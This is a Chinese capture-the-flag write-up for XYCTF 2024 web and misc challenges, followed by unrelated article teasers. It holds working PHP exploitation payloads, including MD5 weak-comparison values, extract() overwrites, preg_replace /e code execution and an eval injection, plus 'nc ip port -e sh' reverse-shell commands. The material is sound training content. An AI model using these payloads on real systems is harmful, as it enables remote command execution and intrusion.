XYCTF 2024

Web

参考博客:https://www.yuque.com/yunzhiyunweiji/wrgkex/rfpnkn0293l7cp09#ezMake

ezhttp

Via - HTTP | MDN
代理那里难住了
image.png
XFF不给用可以用client-ip
image.png

ezmd5

让我们上传图片并比较,结合题目名可以猜测应该是比较两个图片的md5值是否相同,用fastcoll工具生成两个相同的图片,然后上传即可。
image.png
image.png

ez!Make

直接输入cat /flag即可
image.png

ezmake

很若至的非预期,出题人居然这个也能忘关flag路由,访问即送flag:
1
http://localhost:39701/flag
参考博客:https://www.yuque.com/yunzhiyunweiji/wrgkex/rfpnkn0293l7cp09#ezMake
image.png

ez?Make

fuzz一下,过滤了较多命令,但是nc未过滤,直接连服务器。
反弹shell

nc ip port -e sh

image.png
image.png

warm up

第一关:
先md5弱比较,使用了强制类型转换后不再接收数组
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
不同数据弱相等
payload: a=QNKCDZO&b=240610708

然后是_MD5等于自身_:
如md5( a ) = = a)== a)==a,php弱比较会把0e开头识别为科学计数法,结果均为0,所以此时需要找到一个MD5加密前后都是0e开头的,如0e215962017

然后extract(_GET)是变量覆盖漏洞。
给XY和XYCTF传相同的值即可。

最终payload:

val1=QNKCDZO&val2=240610708&md5=0e215962017&XY=240610708&XYCTF=240610708

image.png

第二关:
a不能是数字,但是intval会返回1,了解intval函数特性
image.png
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

那么传数组进去,a[]=a

下一步是,preg_replace在/e模式下可以任意命令执行
深入研究preg_replace与代码执行 - 先知社区

补充一下preg_replace的用法:

<?php
$str = 'Visit Microsoft!';
$pattern = '/microsoft/i';
echo preg_replace($pattern, 'W3Schools', $str);
?>
输出:Visit W3Schools!

preg_replace /e 模式下的代码执行

<?
echo preg_replace("/test/e",$_GET["h"],"jutst test");
?>
第二个参数所代表的的内容将被执行

最终payload:

?a=/1/e&b=system('cat /f*')&c=1POST:
a[]=1

image.png

牢牢记住,逝者为大

过滤了很多命令,但反引号没过滤,可以用反引号当shell_exec()函数执行命令。

eval前面和后面都有脏数据,最简单的办法是换行和注释绕过。分别在最前和最后加上%0a、%23

这道题没过滤nc,所以照样可以让这边连我们的服务器。

因为cmd有长度限制,所以我们可以用$_GET[1]传递参数。

记得eval中的命令都必须要加分号。

最终payload:

?cmd=%0a`$_GET[1]`;%23&1=nc ip port  -e sh

反弹shell
image.png
image.png

Misc

game

Google识图即可
image.png
image.png
Papers Please就是flag

zzl的护理小课堂

ctrl + U查看源代码,发现flag.php
image.png
发POST包让score = 100 即可 获得flag
image.png

zip套之神

明文攻击
image.png
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/5262.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ES6之rest参数、扩展运算符

文章目录 前言一、rest参数二、扩展运算符 1.将数组转化为逗号分隔的参数序列2.应用总结 前言 rest参数与arguments变量相似。ES6引入rest参数代替arguments&#xff0c;获取函数实参。扩展运算符能将数组转化为参数序列。 一、rest参数 function namelist1() {console.log(ar…

使用硬盘对拷方法将数据无损转移到另一个硬盘!

硬盘对拷&#xff0c;其实就是磁盘克隆&#xff0c;很多人喜欢将其说成对拷&#xff0c;或者硬盘复制等&#xff0c;但不管怎么说&#xff0c;他们的目的都是一个&#xff0c;想要把原硬盘上的全部数据&#xff08;包括系统、程序、个人文件、隐藏配置数据等&#xff09;都无损…

【好书推荐8】《智能供应链:预测算法理论与实战》

【好书推荐8】《智能供应链&#xff1a;预测算法理论与实战》 写在最前面编辑推荐内容简介作者简介目录精彩书摘前言/序言我为什么要写这本书这本书能带给你什么 致谢 &#x1f308;你好呀&#xff01;我是 是Yu欸 &#x1f30c; 2024每日百字篆刻时光&#xff0c;感谢你的陪伴…

Notion是什么,Notion软件下载,Notion官方网站在哪里?国内用户Notion怎么订阅升级会员?

Notion是什么 Notion&#xff0c;一款强大的多功能工具&#xff0c;可用于组织笔记、任务、项目、数据库和文档等。 Notion软件下载 这个到Notion官方网站下载就可以了。 怎么订阅Notion会员 注册好了Notion的账号&#xff0c;来到首页&#xff0c;点击设置&#xff0c;左边…

虚析构与纯虚析构

这里的new Cat("Tom"&#xff09;是由于基类函数中的构造函数里面带有string变量 1. 法一:利用虚函数&#xff0c;虚化基类中的析构函数 virtual ~Animal() { cout << "动物的析构函数调用" << endl; } 2. 法二:利用纯…

JAVA自定义日期选择器

下载jar地址&#xff0c; https://toedter.com/jcalendar/ jar包下载地址 依赖包如下图所示&#xff1a; 整个项目代码已经上传到CSDN https://download.csdn.net/download/qq_30273575/89241601?ydrefereraHR0cHM6Ly9tcC5jc2RuLm5ldC9tcF9kb3dubG9hZC9tYW5hZ2UvZG93bmxvYWQ…

ROS1快速入门学习笔记 - 10服务数据的定义和使用

目录 一、服务模型&#xff08;客户端/服务器&#xff09; 二、自定义服务数据 1. 定义srv文件 2. 在package.xml中添加功能包依赖 3. 在CMakeLists.txt添加编译选项 4. 编译生成语言相关文件 5. 配置服务器/客户端代码编译规则 6. 编译并运行程序 7. Python文件 一…

图论单源最短路径——spfa

【模板】单源最短路径&#xff08;弱化版&#xff09; 本题用的spfa 题目背景 本题测试数据为随机数据&#xff0c;在考试中可能会出现构造数据让SPFA不通过&#xff0c;如有需要请移步 P4779。 题目描述 如题&#xff0c;给出一个有向图&#xff0c;请输出从某一点出发到…

若依:Linux Centos 7.9 安装部署RuoYi前后端集成版

目录 1.虚拟机操作系统版本 2.删除旧的jdk 3.下载JDK 17 &#xff1a; 4.下载 mvn 3.9.6&#xff1a; 5.下载mysql:5.7.44版本 6.git下载若依&#xff1a; 7.修改数据库连接&#xff1a; 8.mvn 清理和打包 9.启动若依&#xff1a; 1.虚拟机操作系统版本 2.删除旧的jd…

几个容器网络问题实战解析

容器云平台和容器网络紧密结合&#xff0c;共同构建了容器化应用程序的网络基础设施&#xff0c;实现了容器之间的通信、隔离和安全性。文中容器云平台采用的容器网络组件是calico&#xff0c;这个是业界普遍采用的一种方案&#xff0c;性能及安全性在同类产品中都是比较好的。…

什么是视频号小店?应该如何操作?全网最详细的解答来了!

大家好&#xff0c;我是电商糖果 “视频号小店”这个词这两年在电商圈很火&#xff0c;但是因为它是2022年下半年才出来的。 就有很多刚接触电商的朋友&#xff0c;对它并不了解。 于是就有不少朋友问糖果&#xff0c;视频号小店去哪里找&#xff1f;什么是视频号小店&#…

汽车信息安全入门总结(2)

目录 1.引入 2.汽车信息安全技术 3.密码学基础知识 4.小结 1.引入 上篇汽车信息安全入门总结(1)-CSDN博客主要讲述了汽车信息安全应该关注的点&#xff0c;以及相关法规和标准&#xff0c;限于篇幅&#xff0c;继续聊信息安全相关技术以及需要掌握的密码学基础知识。 2.汽…

OpenAI发布GPT-4.0使用指南

大家好&#xff0c;ChatGPT 自诞生以来&#xff0c;凭借划时代的创新&#xff0c;被无数人一举送上生成式 AI 的神坛。在使用时&#xff0c;总是期望它能准确理解我们的意图&#xff0c;却时常发现其回答或创作并非百分之百贴合期待。这种落差可能源于我们对于模型性能的过高期…

区块链技术下的DApp与电商:融合创新,开启商业新纪元

区块链技术的蓬勃发展正引领着一种新型应用程序的崛起——去中心化应用程序&#xff08;DApp&#xff09;。DApp并非传统的中心化应用&#xff0c;它构建于去中心化网络之上&#xff0c;融合了智能合约与前端用户界面&#xff0c;为用户提供了全新的交互体验。智能合约&#xf…

webpack 常用插件

clean-webpack-plugin 这个插件的主要作用是清除构建目录中的旧文件&#xff0c;以确保每次构建时都能得到一个干净的环境。 var { CleanWebpackPlugin } require("clean-webpack-plugin") const path require("path");module.exports {mode: "de…

MATLAB 2024a软件下载安装教程

1-首先下载Matlab&#xff0c;以下迅雷云链接&#xff0c;里面有全版本的matlab&#xff0c;根据自己的需要下载即可&#xff0c;建议下载最新版的&#xff0c;功能会更多&#xff0c;当然内存也会更大。 迅雷云盘迅雷云盘https://pan.xunlei.com/s/VNgH_6VFav8Kas-tRfxAb3XOA…

大数据面试题 —— Spark数据倾斜及其解决方案

目录 1 调优概述2 数据倾斜发生时的现象3 数据倾斜发生的原理4 如何定位导致数据倾斜的代码4.1 某个 task 执行特别慢的情况4.2 某个 task 莫名其妙内存溢出的情况5 查看导致数据倾斜的 key 的数据分布情况6 数据倾斜的解决方案6.1 使用 Hive ETL 预处理数据6.2 过滤少数导致倾…

神之浩劫2下载教程 MOBA新游神之浩劫2在哪下载/怎么下载

《神之浩劫2Smite 2》重新定义了MOBA游戏的征服模式&#xff0c;为玩家带来更多的互动和进展。最近的开发者深度挖掘展示了游戏地图的全新设计&#xff0c;既简化了基本操作&#xff0c;又丰富了游戏选择。游戏中的敌人也有了新的进展方式。例如&#xff0c;击败火巨人和金之怒…

vue 脚手架 创建vue3项目

创建项目 命令&#xff1a;vue create vue-element-plus 选择配置模式&#xff1a;手动选择模式 (上下键回车) 选择配置&#xff08;上下键空格回车&#xff09; 选择代码规范、规则检查和格式化方式: 选择语法检查方式 lint on save (保存就检查) 代码文件中有代码不符合 l…

如何运用结构化思维来规划个人发展

结构化思维不仅在工作中非常有用&#xff0c;在日常生活中同样可以发挥巨大作用。无论是解决家庭琐事、规划个人发展&#xff0c;还是做出重要决策&#xff0c;结构化思维都能帮助我们更有条理地思考和行动。 一、解决生活中的问题 生活中总会遇到各种各样的问题&#xff0…